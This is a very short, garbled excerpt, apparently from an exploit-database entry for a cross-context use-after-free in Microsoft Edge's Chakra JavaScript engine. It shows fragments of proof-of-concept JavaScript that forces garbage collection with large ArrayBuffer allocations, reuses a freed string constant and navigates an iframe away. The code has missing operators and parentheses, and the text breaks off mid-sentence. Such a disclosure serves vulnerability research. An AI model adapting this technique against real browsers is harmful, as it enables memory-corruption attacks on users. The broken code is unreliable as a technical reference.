Microsoft Edge Chakra - Cross Context Use-After-Free

Microsoft Edge Chakra - Cross Context Use-After-Free f.onload = null; // Garbage collection for let i = 0; i 10; i++ new ArrayBuffer1024 1024 40; let obj = opt; // "opt" returns the freed string constant. ; // Closing the diffrent context f.src = 'about:blank'; But in fact, if you run the code, y...